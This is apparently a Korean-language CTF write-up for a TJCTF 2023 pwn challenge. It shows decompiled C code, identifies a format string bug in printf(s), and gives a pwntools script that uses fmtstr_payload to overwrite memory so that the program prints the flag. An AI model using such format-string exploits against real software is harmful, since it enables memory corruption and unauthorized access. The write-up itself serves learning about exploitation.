728x90
반응형
1. intro
2. code 및 분석
2.1. code
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[268]; // [rsp+0h] [rbp-110h] BYREF
int i; // [rsp+10Ch] [rbp-4h]
setbuf(_bss_start, 0LL);
xd = calloc(1uLL, 4uLL);
printf("give me a string (or else): ");
fgets(s, 256, stdin);
printf(s);
r1(s[0]);
if ( win() )
{
for ( i = 0; i <= 255; ++i )
putchar(among[i]);
}
free(xd);
return 0;
}
r1
int __fastcall r1(int a1)
{
int result; // eax
if ( a1 )
{
*xd += 2;
putw(a1 - 1, _bss_start);
result = puts("amongus");
}
return result;
}
win
int win()
{
int result; // eax
char s[71]; // [rsp+0h] [rbp-60h] BYREF
FILE *stream; // [rsp+48h] [rbp-18h]
int j; // [rsp+54h] [rbp-Ch]
int k; // [rsp+58h] [rbp-8h]
int i; // [rsp+5Ch] [rbp-4h]
stream = fopen("flag.txt", "r");
if ( *xd != 141191486 )
return 1;
for ( i = 0; i <= 255; ++i )
putchar(aYouWin[i]);
if ( stream )
{
result = fgets(s, 64, stream);
for ( j = 0; j <= 63; ++j )
result = putchar(s[j]);
}
else
{
for ( k = 0; k <= 255; ++k )
{
if ( !aFlagTxtNotFoun[k] )
break;
}
result = 0;
}
return result;
}
2.2. 분석
main에서는
xd 변수에 초기화된 4바이트 heap을 할당하고,
fgets로 문자열을 받은 다음 그대로 출력해주고 이를 인자로 r1 함수를 실행한다.
이후 win 함수 실행 결과에 따라 among[i] 를 출력해준다.
r1 함수에서는 *xd 주소의 값에 2를 더하고, 인자에 1을 빼서 _bss_start에 넣어준다.
이후 amongus를 출력하고 종료한다.
win 함수에서는 *xd 주소의 값 141191486가 아니면 종료하고, 맞다면 YouWin 문자열 출력과 함께 flag.txt stream을 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
format string bug
3.2. 공격 준비
뭔가 좀 복잡해보이긴 하지만, 결국 값 맞춰넣기 + format string bug이다.
문제를 풀 당시에는 gdb로만 문제를 풀다보니 몰랐는데, r1, r2, r3 함수도 있었다.
만들어놓고 쓰진 않은건지.. 아니면 문제 풀때 쓰라고 준건지는 모르겠다.
코드만 보면 이해가 되지 않을 수 있는데, gdb로 보면 조금 명확하다.
결국 문제에서는 *xd 주소의 값이 141191486가 되어야하는데, r1 함수에서 2를 더해주기 때문에,
이를 고려해서 *xd 주소의 값을 141191484로 넣어주고, xd에는 해당 값의 주소를 넣어주면 된다.
4. exploit
from pwn import *
context.bits = 64
p = remote('tjc.tf',31764)
pay = fmtstr_payload(6,{0x403440:0x403460,0x403460:0x86a693c},0)
p.sendlineafter(b': ',pay)
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
Hackappatoi CTF '23 (0) | 2023.12.08 |
---|---|
Dreamhack CTF Season 3 Round #4 (🌱Div2) - 모든 문제 (0) | 2023.05.29 |
TJCTF 2023 - pwn/groppling-hook (0) | 2023.05.29 |
TJCTF 2023 - pwn/shelly (0) | 2023.05.29 |
TJCTF 2023 - pwn/flip-out (0) | 2023.05.29 |